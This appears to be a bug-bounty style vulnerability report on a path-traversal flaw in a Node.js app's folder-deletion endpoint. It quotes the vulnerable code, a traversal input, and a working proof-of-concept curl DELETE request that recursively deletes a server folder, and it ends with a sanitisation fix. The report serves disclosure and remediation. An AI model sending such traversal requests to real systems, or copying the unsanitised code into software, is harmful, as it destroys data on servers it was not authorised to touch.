🔒️ Requirements
A standard user account (without any admin privilege)
📝 Description
Any user can delete an arbitraty folder (recursively) on remote server due to bad input sanitization leading to path traversal.
This function allows to delete an arbitrary folder (recursively) :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
|
async function purgeFolder(folderName) {
if (folderName === "custom-documents") return;
const documentsFolder =
process.env.NODE_ENV === "development"
? path.resolve(__dirname, `../../storage/documents`)
: path.resolve(process.env.STORAGE_DIR, `documents`);
const folderPath = path.resolve(documentsFolder, folderName);
const filenames = fs
.readdirSync(folderPath)
.map((file) => path.join(folderName, file));
const workspaces = await Workspace.where();
const purgePromises = [];
// Remove associated Vector-cache files
for (const filename of filenames) {
const rmVectorCache = () =>
new Promise((resolve) =>
purgeVectorCache(filename).then(() => resolve(true))
);
purgePromises.push(rmVectorCache);
}
// Remove workspace document associations
for (const workspace of workspaces) {
const rmWorkspaceDoc = () =>
new Promise((resolve) =>
Document.removeDocuments(workspace, filenames).then(() => resolve(true))
);
purgePromises.push(rmWorkspaceDoc);
}
await Promise.all(purgePromises.flat().map((f) => f()));
fs.rmSync(folderPath, { recursive: true }); // Delete root document and source files.
return;
}
|
For example, if folderName contains something like ../../../../../../../tmp/, the fs.rmSync(folderPath, { recursive: true }) line of code will result in deleting the file /tmp folder.
Now, this is a vulnerability because the function is called from this endpoint where an attacker fully control the name parameter of te request body.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
app.delete(
"/system/remove-folder",
[validatedRequest],
async (request, response) => {
try {
const { name } = reqBody(request);
await purgeFolder(name);
response.sendStatus(200).end();
} catch (e) {
console.log(e.message, e);
response.sendStatus(500).end();
}
}
);
|
We can see that it directly calls purgeFolder with a fully controlled and unsanitized value, thus resulting in the deletion of an arbitrary folder (recursively) if we use ../ to do path traversal.
💥 Proof of Concept
Here is a proof of concept deleting the storage folder (it could be any folder) :
- Check that the
storage folder exists :

- Login into your account (you can skip this step if using a development environment)
- Execute the following request :
- Using
curl :
1
2
3
4
5
6
|
# Replace with your token
export TOKEN=""
curl --location --request DELETE 'http://localhost:3001/api/system/remove-folder' \
--header 'Content-Type: application/json' \
--header "Authorization: Bearer $TOKEN" \
--data '{"name" : "../../storage"}'
|
You can also do it using POSTMAN :

- Check that the
folder folder has been deleted successfully :

🛠️ Fix suggestion
Sanitize the name parameter of the request.
🖊️ références
You can find the report here and the CVE details here.